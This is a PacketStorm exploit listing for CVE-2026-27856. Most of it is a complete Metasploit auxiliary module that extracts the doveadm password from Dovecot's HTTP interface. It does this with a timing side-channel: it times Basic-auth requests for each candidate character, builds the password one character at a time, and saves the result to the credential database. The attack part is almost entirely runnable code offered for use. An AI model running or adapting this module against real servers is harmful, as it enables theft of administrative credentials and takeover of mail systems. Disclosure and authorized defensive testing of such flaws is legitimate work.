PACKETSTORM 7.4 HIGH

📄 Dovecot doveadm Timing Attack / Credential Extraction_PACKETSTORM:219554

7.4 / 10
HIGH
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N

Description

This Metasploit auxiliary module performs a timing-based side-channel attack against the Dovecot doveadm HTTP interface to extract credentials character by character...
Visit Original Source

Basic Information

ID PACKETSTORM:219554
Published Apr 22, 2026 at 00:00

Affected Product

Affected Versions ==================================================================================================================================
| # Title : Dovecot doveadm Timing Attack Credential Extraction |
| # Author : indoushka |
| # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 147.0.4 (64 bits) |
| # Vendor : https://www.dovecotpro.com/ |
==================================================================================================================================

[+] Summary : This Metasploit auxiliary module performs a timing-based side-channel attack against the Dovecot doveadm HTTP interface to extract credentials character by character.


[+] POC :

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Auxiliary
include Msf::Auxiliary::Report
include Msf::Exploit::Remote::HttpClient
include Msf::Auxiliary::Scanner

def initialize(info = {})
super(
update_info(
info,
'Name' => 'Dovecot doveadm Timing Attack Credential Extraction',
'Description' => %q{
Timing-based credential analysis module.
},
'Author' => [
'indoushka'
],
'References' => [
['CVE', '2026-27856']
],
'License' => MSF_LICENSE,
'DisclosureDate' => '2026-03-27'
)
)

register_options([
Opt::RPORT(8080),
OptString.new('TARGETURI', [true, 'doveadm endpoint', '/doveadm']),
OptString.new('CHARSET', [true, 'Charset', 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789']),
OptInt.new('MAX_LENGTH', [true, 'Max length', 32]),
OptInt.new('SAMPLES', [true, 'Samples per char', 10]),
OptInt.new('THRESHOLD', [true, 'Threshold ms', 10])
])
end

def run_host(ip)
print_status("Dovecot Timing Attack CVE-2026-27856")
print_status("Target: #{peer}")

credential = extract_credential_timing

if credential.nil? || credential.empty?
print_error("Extraction failed")
return
end

print_good("Extracted credential: #{credential}")
report_credential(credential)
end

def extract_credential_timing
credential = ""
charset = datastore['CHARSET'].to_s.chars

(1..datastore['MAX_LENGTH']).each do |_pos|
best_char = nil
best_time = 0.0

charset.each do |char|
test_cred = credential + char
times = []

datastore['SAMPLES'].times do
start_time = Time.now
test_auth(test_cred)
finish_time = Time.now
times << ((finish_time - start_time) * 1000.0)
end

next if times.empty?

avg_time = times.sum.to_f / times.length
vprint_status("Testing '#{test_cred}': #{avg_time.round(2)}ms")

if avg_time > best_time
best_time = avg_time
best_char = char
end
end

break if best_char.nil?

credential += best_char
print_status("Progress: #{credential} (#{best_time.round(2)}ms)")

break if best_time < datastore['THRESHOLD'].to_f
end

credential
end

def test_auth(credential)
send_request_cgi({
'uri' => normalize_uri(datastore['TARGETURI']),
'method' => 'GET',
'headers' => {
'Authorization' => "Basic #{Rex::Text.encode_base64("doveadm:#{credential}")}"
}
})
rescue ::Errno::ECONNRESET, ::Rex::ConnectionRefused, ::Rex::ConnectionError
nil
end

def report_credential(credential)
service_data = {
address: rhost,
port: rport,
service_name: 'doveadm',
protocol: 'tcp',
workspace_id: myworkspace_id
}

credential_data = {
origin_type: :service,
module_fullname: fullname,
username: 'doveadm',
private_data: credential,
private_type: :password
}.merge(service_data)

create_credential(credential_data)
end
end

Greetings to :==============================================================================
jericho * Larry W. Cashdollar * r00t * Yougharta Ghenai * Malvuln (John Page aka hyp3rlinx)|
============================================================================================

💭 Join the Security Discussion

🔒 Your email address will not be published. Required fields are marked *

⚠️ Please be respectful and constructive in your comments. Security discussions should remain professional.